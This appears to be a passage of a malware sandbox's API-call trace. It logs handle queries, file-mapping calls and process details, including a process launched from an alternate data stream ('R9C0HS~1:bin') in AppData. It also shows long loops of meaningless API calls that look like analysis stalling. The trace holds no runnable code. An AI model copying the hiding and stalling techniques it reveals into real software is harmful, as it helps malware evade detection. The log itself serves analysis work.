[0094.413] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.413] ResetEvent (hEvent=0xdc) returned 1 [0094.413] SetEvent (hEvent=0xe0) returned 1 [0094.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.413] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.414] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.414] ResetEvent (hEvent=0xdc) returned 1 [0094.414] SetEvent (hEvent=0xe0) returned 1 [0094.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.414] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.414] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.414] GetFileType (hFile=0x174) returned 0x3 [0094.415] ResetEvent (hEvent=0xdc) returned 1 [0094.415] SetEvent (hEvent=0xe0) returned 1 [0094.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.415] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.415] GetFileType (hFile=0x174) returned 0x3 [0094.415] ResetEvent (hEvent=0xdc) returned 1 [0094.415] SetEvent (hEvent=0xe0) returned 1 [0094.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.416] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.416] GetFileType (hFile=0x174) returned 0x3 [0094.416] ResetEvent (hEvent=0xdc) returned 1 [0094.416] SetEvent (hEvent=0xe0) returned 1 [0094.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.417] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.417] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.417] ResetEvent (hEvent=0xdc) returned 1 [0094.417] SetEvent (hEvent=0xe0) returned 1 [0094.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.418] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.418] ResetEvent (hEvent=0xdc) returned 1 [0094.418] SetEvent (hEvent=0xe0) returned 1 [0094.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.418] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.419] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.419] GetFileType (hFile=0x174) returned 0x3 [0094.419] ResetEvent (hEvent=0xdc) returned 1 [0094.419] SetEvent (hEvent=0xe0) returned 1 [0094.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.419] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.420] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.420] GetFileType (hFile=0x174) returned 0x3 [0094.431] GetFileType (hFile=0x17c) returned 0x3 [0094.432] GetFileType (hFile=0x17c) returned 0x0 [0094.433] GetFileType (hFile=0x17c) returned 0x3 [0094.433] GetFileType (hFile=0x17c) returned 0x3 [0094.433] GetFileType (hFile=0x17c) returned 0x3 [0094.437] GetFileType (hFile=0x17c) returned 0x3 [0094.437] GetFileType (hFile=0x17c) returned 0x3 [0094.442] GetFileType (hFile=0x17c) returned 0x3 [0094.442] GetFileType (hFile=0x17c) returned 0x3 [0094.442] GetFileType (hFile=0x17c) returned 0x3 [0094.443] GetFileType (hFile=0x17c) returned 0x3 [0094.443] GetFileType (hFile=0x17c) returned 0x3 [0094.443] GetFileType (hFile=0x17c) returned 0x3 [0094.447] GetFileType (hFile=0x17c) returned 0x3 [0094.452] GetFileType (hFile=0x16c) returned 0x3 [0094.452] GetFileType (hFile=0x16c) returned 0x3 [0094.453] GetFileType (hFile=0x16c) returned 0x3 [0094.454] GetFileType (hFile=0x16c) returned 0x1 [0094.454] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.454] MapViewOfFile (hFileMappingObject=0x16c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.464] GetFileType (hFile=0x168) returned 0x1 [0094.464] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.464] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.465] GetFileType (hFile=0x168) returned 0x1 [0094.465] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.472] GetFileType (hFile=0x168) returned 0x1 [0094.472] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.472] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.473] GetFileType (hFile=0x168) returned 0x1 [0094.473] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.474] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.474] GetFileType (hFile=0x168) returned 0x1 [0094.474] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.474] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.476] GetFileType (hFile=0x168) returned 0x1 [0094.476] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.477] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.477] GetFileType (hFile=0x168) returned 0x1 [0094.477] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.477] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.477] GetFileType (hFile=0x168) returned 0x1 [0094.477] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.478] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.478] GetFileType (hFile=0x168) returned 0x1 [0094.478] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.478] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.479] GetFileType (hFile=0x168) returned 0x1 [0094.479] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.479] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.481] GetFileType (hFile=0x168) returned 0x0 [0094.484] GetFileType (hFile=0x168) returned 0x1 [0094.484] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.484] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.485] GetFileType (hFile=0x168) returned 0x1 [0094.485] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.485] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.485] GetFileType (hFile=0x168) returned 0x1 [0094.485] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.485] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.485] GetFileType (hFile=0x168) returned 0x1 [0094.485] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.486] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.487] GetFileType (hFile=0x168) returned 0x1 [0094.487] NtQueryObject (in: Handle=0x168, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.488] MapViewOfFile (hFileMappingObject=0x168, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.495] GetFileType (hFile=0x170) returned 0x1 [0094.495] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.495] MapViewOfFile (hFileMappingObject=0x170, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.497] GetFileType (hFile=0x170) returned 0x1 [0094.497] NtQueryObject (in: Handle=0x170, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.497] MapViewOfFile (hFileMappingObject=0x170, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.505] GetFileType (hFile=0x190) returned 0x1 [0094.505] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.505] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.505] GetFileType (hFile=0x190) returned 0x1 [0094.505] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.506] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.507] GetFileType (hFile=0x190) returned 0x1 [0094.507] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.507] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.509] GetFileType (hFile=0x190) returned 0x1 [0094.509] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.509] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.512] GetFileType (hFile=0x190) returned 0x1 [0094.512] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.512] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.512] GetFileType (hFile=0x190) returned 0x1 [0094.512] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.513] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.513] GetFileType (hFile=0x190) returned 0x1 [0094.513] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.513] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.579] GetFileType (hFile=0x290) returned 0x1 [0094.579] NtQueryObject (in: Handle=0x290, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.579] MapViewOfFile (hFileMappingObject=0x290, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.580] GetFileType (hFile=0x294) returned 0x1 [0094.580] NtQueryObject (in: Handle=0x294, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.581] MapViewOfFile (hFileMappingObject=0x294, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.582] GetFileType (hFile=0x298) returned 0x1 [0094.582] NtQueryObject (in: Handle=0x298, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.582] MapViewOfFile (hFileMappingObject=0x298, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.584] GetFileType (hFile=0x29c) returned 0x1 [0094.584] NtQueryObject (in: Handle=0x29c, ObjectInformationClass=0x1, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.584] MapViewOfFile (hFileMappingObject=0x29c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x0 [0094.592] GetFileType (hFile=0x2a0) returned 0x0 [0094.592] GetFileType (hFile=0x2a0) returned 0x0 Thread: id = 462 os_tid = 0x940 Thread: id = 466 os_tid = 0xa80 Process: id = "21" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x332b2000" os_pid = "0x65c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0007021f" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 336 os_tid = 0x314 Thread: id = 337 os_tid = 0x490 Thread: id = 338 os_tid = 0x734 Thread: id = 339 os_tid = 0x2dc [0040.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x107dc00 | out: lpSystemTimeAsFileTime=0x107dc00*(dwLowDateTime=0x636458d0, dwHighDateTime=0x1d5d030)) [0040.205] GetCurrentProcessId () returned 0x65c [0040.205] GetCurrentThreadId () returned 0x2dc [0040.205] GetTickCount () returned 0x1153e77 [0040.205] QueryPerformanceCounter (in: lpPerformanceCount=0x107dc08 | out: lpPerformanceCount=0x107dc08*=18206113812) returned 1 [0040.206] malloc (_Size=0x100) returned 0x248e80 Thread: id = 341 os_tid = 0x478 Thread: id = 342 os_tid = 0x2ac Thread: id = 343 os_tid = 0x764 Thread: id = 350 os_tid = 0x858 Thread: id = 400 os_tid = 0x1c4 Thread: id = 463 os_tid = 0xbac Process: id = "22" image_name = "r9c0hs~1:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1:bin" page_root = "0x34665000" os_pid = "0x664" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "20" os_parent_pid = "0xaa0" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 340 os_tid = 0x34c [0039.484] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" [0039.484] GetProcessVersion (ProcessId=0xca9) returned 0x0 [0039.484] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.484] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.484] IsCharLowerA (ch=32) returned 0 [0039.484] CountClipboardFormats () returned 4 [0039.484] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.484] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.484] IsCharLowerA (ch=33) returned 0 [0039.484] CountClipboardFormats () returned 4 [0039.484] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.484] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.484] IsCharLowerA (ch=34) returned 0 [0039.484] CountClipboardFormats () returned 4 [0039.484] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.484] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.485] IsCharLowerA (ch=35) returned 0 [0039.485] CountClipboardFormats () returned 4 [0039.485] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.485] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.485] IsCharLowerA (ch=36) returned 0 [0039.485] CountClipboardFormats () returned 4 [0039.485] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.485] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.485] IsCharLowerA (ch=37) returned 0 [0039.485] CountClipboardFormats () returned 4 [0039.485] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.485] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.485] IsCharLowerA (ch=38) returned 0 [0039.485] CountClipboardFormats () returned 4 [0039.485] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.485] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.485] IsCharLowerA (ch=39) returned 0 [0039.485] CountClipboardFormats () returned 4 [0039.485] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.485] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.485] IsCharLowerA (ch=40) returned 0 [0039.485] CountClipboardFormats () returned 4 [0039.485] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.485] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.485] IsCharLowerA (ch=41) returned 0 [0039.485] CountClipboardFormats () returned 4 [0039.485] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.485] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.485] IsCharLowerA (ch=42) returned 0 [0039.485] CountClipboardFormats () returned 4 [0039.485] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.485] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.485] IsCharLowerA (ch=43) returned 0 [0039.485] CountClipboardFormats () returned 4 [0039.486] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.486] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.486] IsCharLowerA (ch=44) returned 0 [0039.486] CountClipboardFormats () returned 4 [0039.486] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.486] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.486] IsCharLowerA (ch=45) returned 0 [0039.486] CountClipboardFormats () returned 4 [0039.486] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.486] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.486] IsCharLowerA (ch=46) returned 0 [0039.486] CountClipboardFormats () returned 4 [0039.486] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.486] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.486] IsCharLowerA (ch=47) returned 0 [0039.486] CountClipboardFormats () returned 4 [0039.486] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.486] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.486] IsCharLowerA (ch=48) returned 0 [0039.486] CountClipboardFormats () returned 4 [0039.486] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.486] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.486] IsCharLowerA (ch=49) returned 0 [0039.486] CountClipboardFormats () returned 4 [0039.486] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.486] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.486] IsCharLowerA (ch=50) returned 0 [0039.486] CountClipboardFormats () returned 4 [0039.486] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.486] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.486] IsCharLowerA (ch=51) returned 0 [0039.486] CountClipboardFormats () returned 4 [0039.486] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.486] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.486] IsCharLowerA (ch=52) returned 0 [0039.487] CountClipboardFormats () returned 4 